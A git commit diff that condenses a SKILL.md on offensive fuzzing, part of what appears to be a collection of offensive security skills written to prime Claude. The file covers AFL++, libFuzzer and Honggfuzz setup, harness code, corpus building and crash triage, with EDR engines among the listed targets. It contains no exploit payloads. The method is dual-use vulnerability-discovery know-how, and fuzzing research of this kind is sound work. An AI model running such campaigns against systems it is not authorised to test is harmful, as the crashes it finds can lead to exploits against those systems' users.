Skip to content

claude-red is a curated library of offensive security skills designed for the Claude skills system. Each skill is a structured SKILL.md file that primes Claude with expert-level methodology for a specific attack surface — from SQLi to shellcode, EDR evasion to exploit development.

feat: improve skill scores for Claude-Red

Yogesh Rao4e2141459198
diff --git a/Skills/offensive-fuzzing/SKILL.md b/Skills/offensive-fuzzing/SKILL.md
index cb0dd84..b66cdae 100644
--- a/Skills/offensive-fuzzing/SKILL.md
+++ b/Skills/offensive-fuzzing/SKILL.md
@@ -1,1744 +1,338 @@
-# SKILL: Fuzzing
-
-## Metadata
-- **Skill Name**: fuzzing-methodology
-- **Folder**: offensive-fuzzing
-- **Source**: https://github.com/SnailSploit/offensive-checklist/blob/main/fuzzing.md
-
-## Description
-Practical fuzzing methodology reference: target identification, fuzzer selection (AFL++, libFuzzer, Boofuzz, Peach), harness writing, corpus curation, mutation strategies, coverage measurement, and crash triage. Use when setting up or running fuzz campaigns against any target.
-
-## Trigger Phrases
-Use this skill when the conversation involves any of:
-`fuzzing, AFL++, libFuzzer, Boofuzz, Peach, fuzz harness, corpus, mutation, coverage, crash triage, network fuzzing, file format fuzzing`
-
-## Instructions for Claude
-
-When this skill is active:
-1. Load and apply the full methodology below as your operational checklist
-2. Follow steps in order unless the user specifies otherwise
-3. For each technique, consider applicability to the current target/context
-4. Track which checklist items have been completed
-5. Suggest next steps based on findings
-
+---
+name: offensive-fuzzing
+description: "Practical offensive fuzzing methodology covering target identification, fuzzer selection (AFL++, libFuzzer, Honggfuzz, Boofuzz, syzkaller), harness writing, corpus curation, mutation strategies, coverage measurement, and crash triage. Use when setting up or running fuzz campaigns against any target: file parsers, network protocols, kernel drivers, EDR engines, embedded firmware, or language runtimes."
---
-## Full Methodology
-
-# Fuzzing
-
-automated software testing technique that is used for program analysis
-
-## Types
-
-### BlackBox
-
-- Generates random or model‑based inputs and feeds them into the program under test
-- Fuzzer has no knowledge of the program internals during fuzzing
-- Pros
- - Extremely fast
- - Easy to use
- - Scalable
-- Cons
- - Random testing leads to poor coverage
-
-### GreyBox
-
-- Relies on lightweight instrumentation of the program under test
-- Fuzzer has some knowledge of the program internals during fuzzing
-- Pros
- - Feedback
- - Scalable
- - Relatively fast
-- Cons
- - Simplistic mutations
-- Examples
- - General: [AFL++](https://github.com/AFLplusplus/AFLplusplus), [Honggfuzz](https://github.com/google/honggfuzz), [BooFuzz](https://github.com/jtpereyda/boofuzz), [WinAFL](https://github.com/googleprojectzero/winafl)
- - Directed: [UAFuzz](https://github.com/strongcourage/uafuzz), [AFLGo](https://github.com/aflgo/aflgo)
- - Grammar Based: [Tlspuffin](https://github.com/tlspuffin/tlspuffin), [AFLSmart](https://github.com/aflsmart/aflsmart)
- - Taint Based: [Angora](https://github.com/AngoraFuzzer/Angora),
- - Concolic: [QSYM](https://github.com/sslab-gatech/qsym), [AFL](https://aflplus.plus/libafl-book/advanced_features/concolic/concolic.html), [SymSan](https://github.com/R-Fuzz/symsan)
- - Self‑learning: [SieveFuzz](https://github.com/SieveFuzz/SieveFuzz), [RL‑Fuzz](https://github.com/fuzzwareorg/rl-fuzz)
- - Binary Fuzzing: [Jackalope](https://github.com/googleprojectzero/Jackalope)
- - Special Fuzzers: [Papora](https://github.com/ambergroup-labs/papora), [Medusa](https://github.com/trailofbits/medusa)
- - Kernel: [syzkaller](https://github.com/google/syzkaller), [kAFL](https://github.com/IntelLabs/kAFL), [wtf](https://github.com/0vercl0k/wtf), [KF/x](https://github.com/intel/kernel-fuzzer-for-xen-project)
- - ETC: [LibAFL](https://github.com/AFLplusplus/LibAFL) (snapshot & Unicorn support 0.15.x), [FuzzBench](https://google.github.io/fuzzbench/), [ClusterFuzz](https://github.com/google/clusterfuzz), [DynamoRIO](https://github.com/DynamoRIO/dynamorio)
+# Offensive Fuzzing
-### Snapshot
+## Fuzzer Types
-- Takes and restores memory/register snapshots of the target or VM to bypass expensive initialization.
-- Pros
- - Order‑of‑magnitude faster execution on large or stateful binaries
- - Deterministic and easily reproducible
- - Works with closed‑source targets (no rebuild needed)
-- Cons
- - Initial snapshot & harness creation can be complex
- - Requires specialised snapshot engine support (e.g., Nyx, Snapchange, wtf)
-- Examples
- - [Nyx](https://github.com/nyx-fuzz/Nyx) (v2 with Intel‑PT support; note: Nyx integration requires the AFL++-Nyx fork, not mainline AFL++ 4.x)
- - [Snapchange](https://github.com/awslabs/snapchange)
- - [wtf](https://github.com/0vercl0k/wtf)
+| Type | Coverage | Speed | Tools |
+|------|----------|-------|-------|
+| BlackBox | Poor | Fast | Peach, Boofuzz |
+| GreyBox | Good | Fast | AFL++, Honggfuzz, libFuzzer, WinAFL |
+| Snapshot | Good | Fastest | Nyx, wtf, Snapchange |
+| WhiteBox | Best | Slow | KLEE, QSYM, SymSan |
+| Ensemble | Best | Fast | AFL++ + Honggfuzz + libFuzzer |
-#### Snapshot Fuzzing Recipes
+**GreyBox sub-variants:** Directed (AFLGo, UAFuzz), Grammar (AFLSmart, Tlspuffin), Concolic (QSYM, Driller), Kernel (syzkaller, kAFL, wtf).
-- **AFL++ Nyx (user-mode)**
+## Core Workflow
-```bash
-NYX_MODE=1 AFL_MAP_SIZE=1048576 afl-fuzz -i seeds -o findings -- ./target_nyx @@
+```
+Research target → Choose analyses → Build harness → Seed corpus → Instrument → Fuzz → Triage crashes → Report
```
-### WhiteBox
-
-- Leverages heavyweight symbolic execution and static analysis, assuming full source availability
-- Pros
- - Solves path constraints to get past difficult logic
- - Capable of generating inputs for deep, hard‑to‑reach program states
-- Cons
- - Complex
- - Slow
- - Not scalable
-
-### Ensemble Fuzzing
-
-Ensemble fuzzing coordinates multiple heterogeneous fuzzers sharing a unified corpus, achieving better coverage than any single fuzzer.
-
-#### Concept
-
-- **Cross-Pollination:** Different fuzzers discover different code paths; sharing corpus maximizes coverage
-- **Complementary Strengths:** AFL++ excels at control flow; Honggfuzz at crash detection; libFuzzer at in-process fuzzing
-- **Coordinated Scheduling:** Use reinforcement learning or heuristics to select optimal fuzzer per input
-
-#### Tools and Frameworks
+### 1. Research Target
-- **EnFuzz:** Uses reinforcement learning to dynamically select which fuzzer runs on each input based on historical effectiveness
-- **CollAFL:** Lightweight synchronization protocol for parallel fuzzer coordination without central coordinator
-- **CUPID:** Analyzes feedback from all fuzzers to guide mutation strategies across the ensemble
+- Map all input surfaces (files, network, IPC, syscalls, IOCTL)
+- Identify high-value areas: previously patched code, complex parsers, newly added code, input ingestion points
+- For kernel modules: look beyond `copy_from_user` — DMA-BUF ops, page fault handlers, VM operation structs, allocation callbacks
-#### Practical Setup
+### 2. Instrument and Build
```bash
-# Terminal 1: AFL++ primary with shared sync directory
-afl-fuzz -M fuzzer1 -i seeds -o sync_dir -- ./target @@
-
-# Terminal 2: Honggfuzz syncing to AFL corpus
-../honggfuzz/honggfuzz -i sync_dir/fuzzer1/queue -W sync_dir/hfuzz \
- --linux_perf_ipt_block -t 10 -- ./target ___FILE___
+# AFL++ (preferred for GreyBox)
+CC=afl-clang-fast CXX=afl-clang-fast++ cmake -DCMAKE_BUILD_TYPE=Release .. && make -j
-# Terminal 3: libFuzzer reading from both corpora
-./target_libfuzzer sync_dir/fuzzer1/queue sync_dir/hfuzz/queue \
- -max_total_time=3600 -runs=1000000
+# libFuzzer + ASan/UBSan (C/C++)
+cmake -DCMAKE_CXX_FLAGS="-fsanitize=fuzzer,address,undefined -O1 -g" ..
-# Terminal 4: Sync monitor (optional)
-watch -n 60 'ls -lh sync_dir/*/queue | wc -l'
+# CmpLog build for hard compares
+AFL_LLVM_CMPLOG=1 CC=afl-clang-fast CXX=afl-clang-fast++ make clean all
```
-#### Best Practices
+**Windows (MSVC):** `Project Properties → C/C++ → Address Sanitizer: Yes (/fsanitize=address)`
-- **Start Simple:** Begin with AFL++ + Honggfuzz; add libFuzzer if you have source
-- **Corpus Deduplication:** Run `afl-cmin` periodically to minimize combined corpus
-- **Resource Allocation:** Allocate 40% AFL++, 30% Honggfuzz, 30% libFuzzer based on empirical results
-- **Monitoring:** Track unique crashes per fuzzer to identify which contributes most
+### 3. Write Harness
-#### Performance Gains
-
-- Research shows **15-40% more coverage** vs single fuzzer
-- **2-3× more unique crashes** in 24-hour runs
-- Particularly effective on complex parsers with multiple code paths
-
-## Components
-
-### Power Scheduler
-
-- Responsible for distributing the amount of fuzzing time among the seeds in the seed queue
-- Prioritize more interesting seeds
- - Usually measure by its ability to produce new code coverage
-- Assigns a scope to each seed and picks the one with highest score
-- Self‑learning schedulers such as _SieveFuzz_ and _RL‑Fuzz_ use reinforcement learning to allocate energy dynamically based on past mutation success.
-- Explore/Exploit auto‑tuning: AFL++ 4.30+ folds MOpt into the core and dynamically balances energy between seeds.
-
-### Mutation
-
-- Responsible for making small changes to the fuzzing seed, with the goal of exercising new program behavior
-- Examples: bit-flips, addition/subtraction, deletion, etc
-- Typically operate by making small, incremental changes
-- LLM‑assisted mutations & harness scaffolding: Large‑language models can infer grammars/dictionaries (`--dict2`) and draft starter harness code (e.g., LibAFL's `llm_mutator`).
-- Overflow‑aware arithmetic heuristics: Enable `--arith8/16/32-smart` in AFL++ (or equivalents) to target boundary‑condition overflows.
-- AFLPlusPlus
- - Deterministic: includes single deterministic mutations on the content of the test cases
- - Havoc: mutations are randomly stacked and also includes changes to the size of the test case
- - Note: honggfuzz and libFuzzer implement weighted random mutation stacks instead of the deterministic/havoc split
-- cmp_log guided mutations: Enable `-cmp_log` (AFL++) or `AFL_LLVM_CMPLOG=1` to perform Redqueen‑style input‑to‑state transforms.
-- Snapshot‑aware mutations: With Nyx mode (`NYX_MODE=1`) AFL++ randomises in‑memory state as well as file input for deep state machines.
-- LLM‑guided edits: _HyLLfuzz_ uses GPT/Llama‑3 to generate branch‑targeted mutations, achieving ≈ 1.3× edge coverage.
-
-### Directed Fuzzing (reach a specific bug/function)
-
-- AFLGo basics:
- - Build with distance metrics to target BBs/functions, then run with exploration/exploitation phases
- - Example:
- ```bash
- export AFLGO=/path/to/aflgo
- cmake -DAFLGO=ON -DDISTANCE_CFG=BBtargets.txt ..
- make clean all
- afl-fuzz -z exp -c 45m -i seeds -o out -- ./target @@
- ```
-- libAFL targeted stages: use objective feedbacks to push towards addresses/symbols of interest
-
-### Executor
-
-- Responsible for executing the program under test with mutated fuzzing seed in a performant manner
-- AFL++ uses a forkserver to skip the cost of expensive initialization and startup code
-- AFL++ also offers persistent fuzzing mode, where the essential code is run inside a loop without a need for fork
-- GPU‑accelerated execution loops are possible with _CUDA‑AFL_ and LibAFL's `VulkanExecutor`, ideal for shader or graphics targets.
-- Recent AFL++ versions ship a Nyx executor capable of high exec/s on user‑mode targets; activate with `NYX_MODE=1` (verify version and build flags).
-
-#### Persistent Mode Implementation
-
-**HF_ITER Style (Honggfuzz):**
-
-Honggfuzz offers HF_ITER-style persistent mode that's often easier to implement than ASAN-style for complex targets:
+**libFuzzer (C++):**
+```cpp
+#include <cstdint>
+#include <cstddef>
+extern "C" int LLVMFuzzerTestOneInput(const uint8_t* data, size_t size) {
+ parse_or_process(data, size);
+ return 0;
+}
+```
+**Honggfuzz HF_ITER (persistent mode — preferred for large targets):**
```cpp
#include "honggfuzz.h"
-
int main(int argc, char** argv) {
- // Expensive initialization (run once)
- initialize_target();
-
- // Persistent fuzzing loop
+ initialize_target(); // runs once
for (;;) {
- size_t len;
- uint8_t *buf;
-
- // Get input from honggfuzz
+ size_t len; uint8_t *buf;
HF_ITER(&buf, &len);
-
- // Convert to target-appropriate format
- FILE* input_stream = fmemopen(buf, len, "r");
-
- // Execute target with fuzzed input
- int result = target_function(input_stream);
-
- // Cleanup for next iteration
- fclose(input_stream);
+ FILE* s = fmemopen(buf, len, "r");
+ target_function(s);
+ fclose(s);
reset_target_state();
}
}
```
-**Memory Management Considerations:**
-
+**AFL++ persistent mode (`__AFL_LOOP`):**
```cpp
-// Prevent memory leaks in persistent mode
-void reset_target_state() {
- // Free any allocated memory
- cleanup_buffers();
-
- // Reset global state
- memset(&global_state, 0, sizeof(global_state));
-
- // Close any open file handles
- close_handles();
+while (__AFL_LOOP(10000)) {
+ // re-read input and process
}
```
-**ASAN-Style Alternative:**
-
-```cpp
-extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
- // Direct fuzzing interface - no manual loop needed
- return target_function(data, size);
-}
+**macOS IPC (Mach message fuzzing):**
+```c
+void *lib_handle = dlopen("libexample.dylib", RTLD_LAZY);
+pFunction = dlsym(lib_handle, "DesiredFunction");
```
-### Feedback
-
-- Set of program state information from running with a particular input seed
-- Fuzzers use feedback to determine fitness of a given seed(basic block coverage, edge coverage, path coverage)
-- AFLPlusPlus uses edge coverage (keeps a shared bitmap between the target and the fuzzer)
-- AFL++ uses edge coverage (keeps a shared bitmap between the target and the fuzzer)
-- Hardware trace sources such as Intel® Processor Trace (IPT) and ARM ETM/CoreSight provide near‑zero‑overhead edge coverage for large binaries.
-- LibAFL 0.15.2 can derive edge coverage from Last Branch Records, giving zero‑instrumentation tracing on recent Intel CPUs (`LBRFeedback`).
-
-#### Intel PT Coverage Setup
+### 4. Build Seed Corpus
-**Honggfuzz with Intel PT:**
+- Pull from target's test suite, bug reports, and real-world samples
+- Web-crawl (Common Crawl) for file formats; filter by MIME type
+- Minimize: `afl-cmin -i raw_corpus -o seeds -- ./target @@`
+- Trim inputs: `afl-tmin -i crash -o crash.min -- ./target @@`
-Intel PT provides hardware-based coverage tracking ideal for binary-only targets where source instrumentation isn't possible:
+### 5. Launch Fuzzing
+**AFL++ parallel (primary + secondary with cmplog):**
```bash
-# Basic Intel PT setup with honggfuzz
-../honggfuzz/honggfuzz -i input_corpus/ -W workspace/ --linux_perf_ipt_block -t 10 -- ./target @@
-
-# Performance tuning
-../honggfuzz/honggfuzz -i input_corpus/ -W workspace/ \
- --linux_perf_ipt_block \
- --linux_perf_ignore_unknown \
- --threads 4 \
- -t 30 -- ./target @@
+afl-fuzz -M f1 -i seeds -o findings -x dict.txt -- ./target @@
+afl-fuzz -S s1 -i seeds -o findings -c 0 -- ./target @@
```
-**Intel PT Requirements:**
-
-- Modern Intel CPU with PT support (check with `cat /proc/cpuinfo | grep intel_pt`)
-- Linux kernel with PT enabled (`CONFIG_INTEL_PT=y`)
-- Sufficient privileges or `CAP_SYS_ADMIN` capability
-
-**Troubleshooting Intel PT:**
-
+**libFuzzer:**
```bash
-# Check PT availability
-dmesg | grep -i "intel.*pt"
-cat /sys/devices/intel_pt/type
-
-# Permission issues
-echo 'kernel.perf_event_paranoid = -1' >> /etc/sysctl.conf
-sysctl -p
-
-# Alternative: use capsh for specific capability
-capsh --caps="cap_sys_admin+eip" -- -c "./honggfuzz_command"
+./target_libfuzzer corpus/ -max_total_time=3600 -workers=4
```
-### Oracle
-
-- Detects if any interesting behavior occurred during execution of the program under test with a given input
-- Code Sanitizers are special compile-time instrumentation for the program under test that perform run-time checks
-- AFL++ offers `QASAN` to run binaries that are not instrumented with `ASan` under QEMU with the AFL++ instrumentation
-- Different Bugs Require Different Oracles
- - **No Source**: Statically rewrite the binary or `YOLO` it
- - **Decoupled Sanitization**: use [SAND](https://github.com/SANDTeam/sand) to off-load sanitizer checks and speed up fuzzing
- - **Memory Safety**: use Address or Leak or Memory Sanitizer (try HWASAN for lower memory usage); or use ARM's MTE for hardware‑assisted tagging on AArch64
- - **Concurrency Issues**: use Thread Sanitizer – LLVM 18 adds detection for C++20 std::atomic_wait
- - **Type Safety**: use Type Sanitizer
- - **Undefined Behavior**: use `UBSan`
- - **Heap Hardening**: Scudo Hardened Allocator (part of LLVM's compiler-rt, available in recent Clang versions) detects overflows and double‑frees with minimal performance cost.
- - **Kernel Undefined Behavior**: Kernel UBSan (KUBSan) — enable with `CONFIG_UBSAN_TRAP=y` (verify availability in your kernel).
- - **Control‑Flow Integrity**: **KCFI** (Clang 18) adds low-overhead forward-edge CFI; enable with `-fsanitize=kcfi`.
- - **Data‑Flow**: Data‑Flow Sanitizer v2 adds taint‑tracking (`-fsanitize=dataflow`) and now works with libFuzzer.
- - **Security‑property oracles**: Idempotency or differential fuzzing for APIs (e.g., _DiffSink_ for compiler targets).
- - **Kernel Stuff**: use `KASAN`, `KMSAN`, `KCSAN`
- - **Logic Bugs**: Differential or Property(Correctness-Idempotency) Oracles
-
-#### Property/Differential Oracles (quick patterns)
-
-- Idempotency: `f(x) == f(f(x))` for normalizations/parsers
-- Differential: compare two implementations or two versions, bucket on output mismatch
-- Invariants: monotonic lengths, checksum equality, schema validation post‑parse
-
-## Seed Corpus
-
-### What is a Seed Corpus?
-
-Seed corpus is a collection of input files used as a starting point for fuzzing. In mutational fuzzing, the fuzzer takes existing files and makes random mutations (flipping, reordering, removing, inserting data) before having the target application parse the mutated file.
-
-### Why is a Seed Corpus Important?
-
-- Increases code coverage, which correlates strongly with finding crashes
-- Allows fuzzers to start close to "interesting" points in the target application
-- Helps overcome "unsolvable cliffs" in code coverage that fuzzers might struggle with
-- Research shows fuzzers perform significantly better when bootstrapped with a minimized corpus
-
-### Creating a Seed Corpus
-
-1. **Manual Creation**
- - Create files with different command-line tools or GUI applications
- - Use all possible tools for your file format to generate diverse outputs
- - Automate where possible, but can be time-consuming
-
-2. **Existing Test Suites and Bug Reports**
- - Leverage test suites from the target application
- - Extract test cases from bug reports (high signal value)
-
-3. **Web Crawling**
- - Use Common Crawl or similar datasets to extract relevant file types
- - Filter based on MIME types
- - Perform corpus distillation: keep only files that trigger new code paths
-
-### Corpus Distillation Process
-
-1. Iterate through each potential seed file
-2. Check file size (smaller files generally more efficient for fuzzing)
-3. Run the file with code coverage instrumentation
-4. Record if the file triggers any new code coverage not seen before
-5. Keep only files that increase code coverage
-6. Perform final minimum-set cover minimization for the smallest possible corpus
-
-### Tools for Corpus Creation
-
-- [common-corpus](https://github.com/benhawkes/common-corpus): Tool to build fuzzing corpus from Common Crawl data
-- [AFL's afl-cmin](https://github.com/AFLplusplus/AFLplusplus/blob/stable/afl-cmin): Corpus minimization tool
-- [AFL's afl-tmin](https://github.com/AFLplusplus/AFLplusplus/blob/stable/afl-tmin): Test case minimizer
-- [cf‑min](https://github.com/AFLplusplus/afl-cmin) – distributed/cluster‑friendly corpus minimizer
-- Crash‑Repro‑Recorder (CRR) bundles – store the exact sequence of inputs needed to reproduce a crash deterministically
-
-### Crash Triage Pipeline
-
+**Binary-only (QEMU):**
```bash
-# 1) Minimize
-afl-tmin -i crash -o crash.min -- ./target @@
-# 2) Symbolize/Log
-ASAN_OPTIONS=abort_on_error=1:symbolize=1 ./target crash.min 2>asan.log
-# 3) Coverage Hash
-./cov-tool --bbids ./target crash.min > cov.hash
-# 4) Bucket
-./bucket.py --key "$(cat cov.hash)" --log asan.log --out triage/
+afl-fuzz -Q -i seeds -o findings -- target.exe @@
```
-#### Cross‑platform crash analysis quick cheatsheets (user‑mode)
-
-- Linux
- - Enable coredumps and replay:
- ```bash
- ulimit -c unlimited
- sysctl -w kernel.core_pattern=core.%e.%p
- ./target crash.min # produces core
- gdb -q ./target core.* -ex 'set pagination off' -ex bt -ex 'info reg' -ex q
- addr2line -e ./target 0xDEADBEAF
- ```
- - Stabilize runs: `taskset -c 0 chrt -f 99 ./target @@`; set `ASAN_OPTIONS=allocator_may_return_null=1:handle_abort=1`.
-
-- Windows
- - Local dumps (WER):
- ```powershell
- New-Item 'HKLM:\SOFTWARE\Microsoft\Windows\Windows Error Reporting\LocalDumps' -Force | Out-Null
- New-ItemProperty -Path 'HKLM:\...\LocalDumps' -Name DumpType -Type DWord -Value 2 -Force | Out-Null
- ```
- - PageHeap (user mode):
- ```cmd
- gflags /p /enable target.exe /full
- ```
- - WinDbg basics:
- ```text
- .symfix; .reload /f
- !analyze -v
- k; r; lm
- ```
- - Optional: record Time‑Travel Debugging (TTD) to replay non‑deterministic crashes.
-
-- macOS
- - `lldb -o 'bt all' -- ./target crash.min`; set `DEVELOPER_DIR` to Xcode for symbols.
-
-#### Kernel crash triage quicksheet
-
-- Linux
- - KASAN/KMSAN logs: `dmesg -T | egrep -i 'kasan|kmsan' -A 60`
- - Decode stacks:
- ```bash
- ./scripts/decode_stacktrace.sh vmlinux /lib/modules/$(uname -r)/build < dmesg.log
- ```
- - Map addresses: `addr2line -e vmlinux 0xffffffff81234567`
-
-- Windows
- - Driver Verifier:
- ```cmd
- verifier /standard /driver yourdrv.sys
- ```
- - KD/WinDbg:
- ```text
- !analyze -v; kv; r; !verifier 3; !irpfind
- ```
-
-#### Sanitizer options (quick reference)
-
-- ASAN_OPTIONS: `abort_on_error=1:symbolize=1:allocator_may_return_null=1:detect_stack_use_after_return=1`
-- UBSAN_OPTIONS: `print_stacktrace=1:halt_on_error=1`
-- TSAN_OPTIONS: `halt_on_error=1:history_size=7:second_deadlock_stack=1`
-- MSAN_OPTIONS: `poison_in_dtor=1:track_origins=2`
-- HWASAN (AArch64): `abort_on_error=1:stack_history_size=7`
-
-#### syzkaller crash repro and bisection (essentials)
-
+**Snapshot (AFL++ Nyx):**
```bash
-# Reproduce from syz repro
-syz-execprog -repeat=0 -procs=1 -wait=5m -cover=0 -debug target.repro
-
-# Run minimized C reproducer under KASAN/KCFI build for clarity
-make -j$(nproc) CONFIG_KASAN=y CONFIG_UBSAN=y CONFIG_KCFI=y
-
-# Git bisection (when you have a fix commit)
-git bisect start <bad> <good>
-git bisect run ./repro.sh
-```
-
-## Workflow
-
-```mermaid
-flowchart TD
- A[Research Program Under Test] --> B[Choose Analysis Techniques];
- B --> C[Initial Fuzzer Setup];
- subgraph "Setup Details"
- C --> C1[Gather Initial Seed Corpus];
- C --> C2[Instrument Target];
- C --> C3[Configure Execution];
- C --> C4[Select Fuzzing Parameters];
- end
- C --> D[Begin Fuzzing];
- D --> E{Monitor Fuzzing Progress};
- E -- Stalled? --> F[Troubleshoot/Adjust];
- F --> D;
- E -- Crashes Found? --> G[Process Fuzzing Results];
- subgraph "Result Processing"
- G --> G1[Triage Crashes];
- G --> G2[Deduplicate Test Cases];
- G --> G3[Minimize Test Cases];
- end
- G --> H[Report Vulnerabilities / Refine];
- H --> I[End];
- E -- No Crashes/Finished --> I;
-
- classDef setup fill:#99e,stroke:#111,stroke-width:2px,color:#333;
- class C1,C2,C3,C4 setup;
- classDef process fill:#e6e,stroke:#111,stroke-width:2px,color:#333;
- class G1,G2,G3 process;
-```
-
-### Research the Program Under Test
-
-- Familiarize yourself with the program under test
-- Learn what the program under test does and how it operates
-- Interact with the program & learn how to use it
-- Identify inputs & outputs
-- Identify program areas to focus analysis efforts on Looking for
- - Potentially Vulnerable program code
- - Previously patched code
- - Previous vulnerabilities
- - Newly developed code
- - Complex logic
- - Input data ingestion sites
-- For kernel modules, look beyond traditional attack vectors:
- - Beyond IOCTL handlers and `copy_from_user` calls
- - Specialized subsystems like DMA-BUF may have attack surface through:
- - Custom callbacks in operation structures
- - Memory mapping handlers
- - Page fault handlers
- - VM operation structures
- - Allocation/free mechanisms
- - Identify all user-controlled inputs, especially those passed to functions that don't use `copy_from_user`
-
-### Choose the Right Set of Program Analyses
-
-- Types of analyses that you select to conduct depends on a variety of factors
- - Size
- - Format
- - Interface
- - Complexity
-
-### Initial Fuzzer Setup
-
-- Construct a representative initial seed corpus by gathering a set of program inputs that resemble the input format program expects
-- Instrument the program under test with coverage and sanitization
-- Recommended build flags (Clang/LLVM):
-
- ```bash
- # LibFuzzer + ASan/UBSan (C/C++)
- CC=clang CXX=clang++ CFLAGS="-O1 -g -fno-omit-frame-pointer" \
- CXXFLAGS="-O1 -g -fno-omit-frame-pointer" \
- LDFLAGS="" \
- cmake -DCMAKE_C_FLAGS="-fsanitize=address,undefined -fsanitize-recover=undefined" \
- -DCMAKE_CXX_FLAGS="-fsanitize=fuzzer,address,undefined -fsanitize-recover=undefined" ..
-
- # MSVC (Windows) AddressSanitizer for x64
- # In Visual Studio 2022+: Project Properties → C/C++ → Address Sanitizer: Yes (/fsanitize=address)
- # Runtime options
- set ASAN_OPTIONS=detect_leaks=1:halt_on_error=1:strict_string_checks=1
- ```
-
-- Execution method with Harness or command line arguments
-- Select fuzzing parameters like power schedule, dictionary, custom mutator, etc
-- Fuzzing setup to run in parallel, etc
-
-### Quick‑Start Recipes
-
-- LibFuzzer harness (C++):
-
- ```cpp
- #include <cstdint>
- #include <cstddef>
- extern "C" int LLVMFuzzerTestOneInput(const uint8_t* data, size_t size) {
- /* parse_or_process(data, size); */
- return 0;
- }
- ```
-
-- AFL++ on a CLI target:
-
- ```bash
- # Instrument
- CC=afl-clang-fast CXX=afl-clang-fast++ cmake -DCMAKE_BUILD_TYPE=Release .. && make -j
- # Seed dir with a few minimal valid inputs
- afl-fuzz -i seeds -o findings -- ./target @@
- # Useful extras: dictionary and cmplog for hard compares
- afl-fuzz -i seeds -x dict.txt -o findings -c 0 -- ./target @@
- # Or enable cmplog build/runner pair
- AFL_LLVM_CMPLOG=1 CC=afl-clang-fast CXX=afl-clang-fast++ make clean all
- afl-fuzz -i seeds -o findings -M f1 -- ./target @@
- afl-fuzz -i seeds -o findings -S s1 -c 0 -- ./target @@
- ```
-
-- Windows binary‑only (QEMU mode):
-
- ```bash
- afl-fuzz -Q -i seeds -o findings -- target.exe @@
- ```
-
-### Begin Fuzzing
-
-- Start the actual fuzzing process and wait for any crashes
-- Fuzzing might get stalled, become unstable or have poor performance
-
-### Process the Fuzzing Results
-
-- Once the fuzzer produces a set of interesting test cases, we need to refine them
-- Triage
- - Group test cases by root cause and/or vulnerability type
- - Prioritize patching the more sever vulnerabilities
-- Deduplication: Remove all non-unique test cases
-- Minimization: get rid of unnecessary bytes of input
-
-#### Crash dedup & triage tips
-
-- Prefer stack‑hash or coverage‑hash based bucketing (e.g., AFLTriage, Crash Triage scripts).
-- Minimize before debugging: `afl-tmin`, `llvm-reduce`, or `creduce` for textual formats.
-- Use stable environments: pin CPU governor, disable ASLR where safe, fix random seeds.
-- Export sanitizer logs to files for CI artifacts.
-
-#### Reproducibility quick checklist
-
-- Save and replay exact input sequences in persistent mode
-- Pin CPU governor; fix RNG seeds; disable ASLR only where safe and necessary
-- Minimize before debugging (`afl-tmin`, `llvm-reduce`, `creduce`)
-- Record binary hashes and sanitizer options with every crash
-
-## Obstacles
-
-### Binary Only vs Source Fuzzing
-
-- Sometimes only executables are available, without any source code
-- Solution
- - **Binary Rewriting**: inserting coverage and sanitization into a binary without recompilation (e.g., `retrowrite`, binary‑only ASan/QASan)
- - **Dynamic Binary Instrumentation**: inserting coverage and sanitization at runtime (e.g., `QASAN`, DynamoRIO, Frida/QBDI)
-
-### Fuzzing Harness
-
-- Some fuzzing targets are difficult to interact with
-- Solution
- - Fuzzing harness acts as a middleware between the program under test and the fuzzer
- - Can also use function hooking to replace network or file function calls
-
-#### Library Harness Best Practices
-
-- **Research Existing Work**: Search for existing harnesses or test suites
-- **Optimize Compilation**: Use `-O1` or `-O3` flags during compilation
-- **Balance Coverage vs Speed**: A good harness maximizes code coverage while maintaining execution speed
-- **Strategic Targeting**: Create multiple small harnesses for different library components
-- **Resource Management**: Ensure proper initialization and cleanup of library resources
-- **Input Manipulation**: Create functions that transform fuzzer input into valid library parameters
-- **Persistent Mode**: For maximum efficiency, implement persistent mode harnesses that reuse library instances
-
-#### Snapshot Harnessing Tips
-
-- Snapshot after expensive initialization, right before the parse/dispatch loop
-- Map fuzzer input into in‑memory buffers; avoid filesystem and network overhead
-- Seed RNG and log it; ensure deterministic time sources where possible
-- Export coverage early and often (breakpoints or tracepoints) for plateau detection
-
-#### Structure‑aware fuzzing
-
-- Extract tokens/keywords to a dictionary (AFL++ `--dict2` or `AFL_TOKEN_FILE`).
-- Use libprotobuf‑mutator for protobuf/gRPC targets; generate corpus from `.proto` examples.
-- For HTTP/REST/GraphQL, record real traffic and convert to templates with placeholders.
-
-When building harnesses for libraries:
-
-1. Start with a basic implementation that validates core functionality
-2. Gradually expand to cover more API functions
-3. Use the documentation to understand parameter boundaries and edge cases
-4. Test with a variety of input encodings and configurations
-5. Consider structural awareness when fuzzing format-specific libraries
-
-Resources:
-
-- [Awesome LibFuzzer Harness Collection](https://github.com/google/fuzzing/tree/master/examples)
-- OSS-Fuzz project repositories
-
-### Fuzzer Stalls
-
-- Fuzzer progress has come to a halt
-- Solution
- - Run a collection of different fuzzers
- - Produce actionable coverage statistics with tools like VisFuzz or afl-cov that inform you of where the fuzzer is getting stuck
- - Use a concolic fuzzer, which combines constraints solving with fuzzing to help traditional fuzzers get past difficult conditional statements
- - If all else fails, move on to a different analysis technique
- - For AFL++: enable `-c 0` (cmplog), try `AFL_MAP_SIZE=1048576`, use `-L 0` for MOpt, and add custom mutators.
-
-#### Plateau escape tactics
-
-- Switch to directed fuzzing (e.g., AFLGo/UAFuzz) for a specific function/basic block
-- Add grammar/dictionary; enable CMPLOG/Redqueen to unlock hard compares
-- Use concolic assistance (QSYM, Driller, libAFL concolic) on stubborn branches
-- Reduce target surface via snapshotting or split harness to increase exec/s
-
-### Fuzzing Reproducibility
-
-- Inability to reproduce crashing test cases produced by fuzzer
-- Solution
- - During persistent fuzzing, save all inputs starting from when a new process is created and replay those inputs in same order to reproduce behavior
- - AFLPlusPlus offers special compile-time instrumentation that attempts to eliminate concurrency issues
-
-### Speed & Performance
-
-- Fuzzer is running slowly
-- Solution
- - Use snapshot fuzzing to eliminate execution of redundant, unimportant code
- - Avoid using complex fuzzing logic
- - Parallel fuzzing can sometimes help
- - Pin CPU governor to performance; disable throttling; set `AFL_SKIP_CPUFREQ=1` when needed.
- - Prefer `llvm_mode` over `qemu_mode` where possible; enable LTO instrumentation for higher throughput.
-
-## Techniques
-
-### Syzkaller
-
-- Limit enabled syscalls to make fuzzing go deeper
-- Write new `syzlang` descriptions
-- Change the mutation of fuzzing inputs(integrate symbolic execution)
